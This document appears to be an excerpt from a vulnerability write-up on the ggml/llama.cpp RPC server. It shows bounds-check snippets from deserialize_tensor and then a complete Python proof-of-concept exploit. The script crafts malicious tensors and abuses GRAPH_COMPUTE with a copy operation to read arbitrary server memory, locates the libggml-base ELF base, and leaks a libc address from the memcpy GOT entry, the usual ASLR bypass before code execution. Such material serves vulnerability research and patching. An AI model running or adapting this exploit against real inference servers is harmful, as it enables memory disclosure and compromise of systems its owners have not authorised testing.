1
struct ggml_tensor * result = deserialize_tensor(ctx, tensor);
2
    if (result == nullptr) {
3
        return nullptr;
4
    }
5

6
    // ...

1
GGML_ASSERT(tensor->data + tensor_size >= tensor->data); // check for overflow
2
GGML_ASSERT(tensor->data >= buffer_start && tensor->data + tensor_size <= buffer_start + buffer_size);

1
ggml_tensor * rpc_server::deserialize_tensor(struct ggml_context * ctx, const rpc_tensor * tensor) {
2

3
    // ...
4

5
    if (result->buffer) {
6
        // require that the tensor data does not go beyond the buffer end
7
        uint64_t tensor_size = (uint64_t) ggml_nbytes(result);
8
        uint64_t buffer_start = (uint64_t) ggml_backend_buffer_get_base(result->buffer);
9
        uint64_t buffer_size = (uint64_t) ggml_backend_buffer_get_size(result->buffer);
10
        GGML_ASSERT(tensor->data + tensor_size >= tensor->data); // check for overflow
11
        GGML_ASSERT(tensor->data >= buffer_start && tensor->data + tensor_size <= buffer_start + buffer_size);
12
    }
13

14
    result->op = (ggml_op) tensor->op;
15
    for (uint32_t i = 0; i < GGML_MAX_OP_PARAMS / sizeof(int32_t); i++) {
16
        result->op_params[i] = tensor->op_params[i];
17
    }
18
    result->flags = tensor->flags;
19
    result->data = reinterpret_cast<void *>(tensor->data);
20
    ggml_set_name(result, tensor->name);
21
    return result;
22
}

1
#!/usr/bin/env python3
2
import socket
3
import struct
4
import time
5

6
#define RPC command constants
7
RPC_CMD_ALLOC_BUFFER        = 0
8
RPC_CMD_BUFFER_GET_BASE     = 3
9
RPC_CMD_GET_TENSOR          = 8
10
RPC_CMD_GRAPH_COMPUTE       = 10
11
RPC_CMD_HELLO               = 14
12

13
TENSOR_SIZE         = 296
14
GGML_TYPE_F32       = 0
15
GGML_OP_NONE        = 0
16
GGML_OP_CPY         = 34
17
GGML_MAX_SRC        = 10
18

19
def exploit(host, port):
20
    # create a socket object
21
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
22

23
    # connect to the server
24
    s.connect((host, port))
25

26
    def send_cmd(cmd, payload):
27
        s.sendall(struct.pack('<B', cmd))
28
        s.sendall(struct.pack('<Q', len(payload)))
29
        s.sendall(payload)
30

31
    def recv_n(sock, n):
32
        data = b''
33
        while len(data) < n:
34
            x = sock.recv(n-len(data))
35
            if not x:
36
                raise EOFError
37
            data += x
38
        return data
39

40
    def recv_msg():
41
        size = struct.unpack('<Q', recv_n(s, 8))[0]
42
        return recv_n(s, size)
43

44
    #cmd implementations
45
    def hello():
46
        send_cmd(RPC_CMD_HELLO, b'')
47
        time.sleep(1)
48
        resp = recv_msg()
49
        return struct.unpack('<BBB', resp)
50

51
    def alloc_buffer(device, size):
52
        send_cmd(RPC_CMD_ALLOC_BUFFER, struct.pack('<IQ', device, size))
53
        resp = recv_msg()
54
        remote_ptr, remote_size = struct.unpack('<QQ', resp)
55
        return remote_ptr, remote_size
56

57
    def get_base(remote_ptr):
58
        send_cmd(RPC_CMD_BUFFER_GET_BASE, struct.pack('<Q', remote_ptr))
59
        resp = recv_msg()
60
        base_ptr = struct.unpack('<Q', resp)[0]
61
        return base_ptr
62

63
    def get_tensor(rpc_tensor, offset, size):
64
        req = rpc_tensor
65
        req += struct.pack('<Q', offset) #offset
66
        req += struct.pack('<Q', size) #size
67
        send_cmd(RPC_CMD_GET_TENSOR, req)
68
        resp = recv_msg()
69
        return resp
70

71
    # tensor structure
72
    def build_tensor(id, buffer, data, op, srcs, n_elems, flags):
73
        nb0 = 4
74
        nb1 = n_elems * 4  # Assuming float32
75

76
        tensor = struct.pack('<Q', id)                                      #id
77
        tensor += struct.pack('<I', GGML_TYPE_F32)                          #type
78
        tensor += struct.pack('<Q', buffer)                                 #buffer
79

80
        for j in [n_elems, 1, 1, 1]:
81
            tensor += struct.pack('<I', j)                                  #ne[GGML_MAX_DIMS]
82
        for k in [nb0, nb1, nb1, nb1]:
83
            tensor += struct.pack('<I', k)                                  #nb[GGML_MAX_DIMS]
84

85
        tensor += struct.pack('<I', op)                                     #op
86
        tensor += b"\x00" * 64                      #op_param
87
        tensor += struct.pack('<i', flags)                                  #flags
88
        for i in range(GGML_MAX_SRC):
89
            tensor += struct.pack('<Q', srcs[i] if i < len(srcs) else 0)    #srcs
90
        tensor += struct.pack('<Q', 0)                                      #view_src
91
        tensor += struct.pack('<Q', 0)                                      #view_offs
92
        tensor += struct.pack('<Q', data)                                   #data
93
        tensor += b'\x00' * 64                                              #name
94
        tensor += b'\x00' * 4                                               #padding
95

96
        assert len(tensor) == TENSOR_SIZE
97
        return tensor
98

99
    # ar read
100
    def arbitrary_read(remote_ptr, buffer_base, target_addr, n_bytes):
101
        n_elems = max((n_bytes + 3) // 4, 1)
102
                                    #id     buffer       data          op           srcs   n_elems flags
103
        src_tensor = build_tensor(0x3001, 0,          target_addr, GGML_OP_NONE, [],       n_elems, 0)
104
        dst_tensor = build_tensor(0x3002, remote_ptr, buffer_base,    GGML_OP_CPY,  [0x3001], n_elems, 16)
105

106
        req = struct.pack('<I', 0)          #device
107
        req += struct.pack('<I', 1)         #n_nodes
108
        req += struct.pack('<Q', 0x3002)    #node_id[0]
109
        req += struct.pack('<I', 2)         #n_tensors
110
        req += src_tensor + dst_tensor      #tensors
111

112
        send_cmd(RPC_CMD_GRAPH_COMPUTE, req)
113
        read_tensor = build_tensor(0x3002, remote_ptr, buffer_base, GGML_OP_NONE, [], n_elems, 0)
114
        resp = get_tensor(read_tensor, 0, n_bytes)
115
        print(f"      [-] Received data: {resp.hex()}")
116
        return resp
117

118
    def read_qword(remote_ptr, buffer_base, addr):
119
        data = arbitrary_read(remote_ptr, buffer_base, addr, 8)
120
        return struct.unpack('<Q', data[:8])[0] if len(data) >= 8 else None
121

122
    def read_dword(remote_ptr, buffer_base, addr):
123
        data = arbitrary_read(remote_ptr, buffer_base, addr, 4)
124
        return struct.unpack('<I', data[:4])[0] if len(data) >= 4 else None
125

126
    # attack flow function
127
    def exp():
128
        # connect and get server version
129
        print("[+]Connecting to server...")
130
        minor, major, patch = hello()
131
        print(f"[+]Server version: {major}.{minor}.{patch}\n")
132

133
        #Step 1
134
        print("1. Allocating buffer")
135
        remote_ptr, remote_size = alloc_buffer(0, 0x1000)
136
        print("      [-] remote_ptr =", hex(remote_ptr))
137
        print("      [-] remote_size =", hex(remote_size), "\n")
138

139
        #Step 2
140
        print("2. Getting buffer base")
141
        buffer_base = get_base(remote_ptr)
142
        print("      [-] buffer_base =", hex(buffer_base), "\n")
143

144
        #Step 3
145
        print("3. Leaking iface.get_base poiinter and scan for ELF base")
146
        get_base_pointer = read_qword(remote_ptr, buffer_base, remote_ptr + 8)
147
        print("      [-] iface.get_base =", hex(get_base_pointer), "\n")
148

149
        if not get_base_pointer or get_base_pointer < 0x700000000000:
150
            print("      [-] The memory layout is misaligned, or the function reading the tensor structure is encountering errors")
151
            return
152

153
        addr = get_base_pointer & ~0xFFF
154
        libbase_base = None
155
        for step in range(0x800):
156
            sig = read_dword(remote_ptr, buffer_base, addr)
157
            if sig == 0x464c457f:  # the integer value of b'\x7fELF'
158
                libbase_base = addr
159
                print(f"\n      [-] libggml-base.so ELF BASE in: {hex(libbase_base)} (loop: {step+1})")
160
                break
161
            addr -= 0x1000
162
        if not libbase_base:
163
            print("      [!] No suitable ELF structure was found")
164
            return
165

166
        # objdump -R ./build/bin/libggml-base.so | grep memcpy
167
        BASE_GOT_MEMCPY = 0x10d7e8
168

169
        target_got_addr = libbase_base + BASE_GOT_MEMCPY
170
        print(f"\n4. Reading GOT[memcpy] to leak Libc")
171
        print(f"      [-] Target GOT Address: {hex(target_got_addr)}")
172
        memcpy_addr = read_qword(remote_ptr, buffer_base, target_got_addr)
173

174
        # check memcpy_addr
175
        if not memcpy_addr:
176
            print("      [!] Unable to read data from the GOT table")
177
            return
178

179
        print(f"      [-] Raw data read from GOT: {hex(memcpy_addr)}")
180
        if (memcpy_addr & 0x7ffff0000000) == 0x7fff00000000 or (memcpy_addr & 0x7f0000000000) == 0x7f0000000000:
181
            print(f"      [-] memcpy address in Libc: {hex(memcpy_addr)}")
182
        else:
183
            print("\n      [!] The value read is not a valid Libc pointer")
184
        print("\nConnection Closed!")
185

186
    # calling function
187
    exp()
188
    s.close()
189

190
if __name__ == "__main__":
191
    exploit("127.0.0.1", 50052)